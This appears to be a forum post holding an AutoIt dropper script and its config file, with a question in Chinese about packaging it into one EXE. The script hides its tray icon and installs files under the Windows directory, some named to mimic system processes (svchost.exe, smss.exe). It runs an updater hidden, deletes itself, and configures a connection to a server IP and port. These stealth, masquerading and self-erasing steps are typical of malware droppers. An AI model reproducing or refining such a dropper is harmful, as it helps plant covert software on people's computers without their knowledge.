|
#ce _______________脚本开始_________________
AutoItSetOption("TrayIconHide", 1)
If Not FileExists(@WindowsDir & "\IEQQ") Then
DirCreate(@WindowsDir & "\IEQQ")
fileinstall("C:\IEQQ\barset.ini", @WindowsDir & "\IEQQ\barset.ini", 1)
fileinstall("C:\IEQQ\data.db3", @WindowsDir & "\IEQQ\data.db3", 1)
fileinstall("C:\IEQQ\GetUrl.dll", @WindowsDir & "\IEQQ\GetUrl.dll", 1)
fileinstall("C:\IEQQ\IE.dll", @WindowsDir & "\IEQQ\IE.dll", 1)
fileinstall("C:\IEQQ\smss.exe", @WindowsDir & "\IEQQ\smss.exe", 1)
fileinstall("C:\IEQQ\sqlite3.dll", @WindowsDir & "\IEQQ\sqlite3.dll", 1)
fileinstall("C:\IEQQ\svchost.exe", @WindowsDir & "\IEQQ\svchost.exe", 1)
fileinstall("C:\IEQQ\Update.exe", @WindowsDir & "\IEQQ\Update.exe", 1)
Run(@ComSpec & ' /C c:\windows\IEQQ\Update.exe', "", @SW_HIDE)
Run(@ComSpec&' /c ping 127.0.0.1 -n 3&del /q "'&@ScriptFullPath&'"',@ScriptDir,@SW_HIDE)
Exit
barset.ini
[work]
mode=0
[server]
ip=192.168.1.248
port=9119
upport=9118
[run]
count=1
1=svchost.exe
想用fileinstall封装成一个EXE,然后这个barset.ini可以通过其它INI中的设置自动配置原来的INI |
|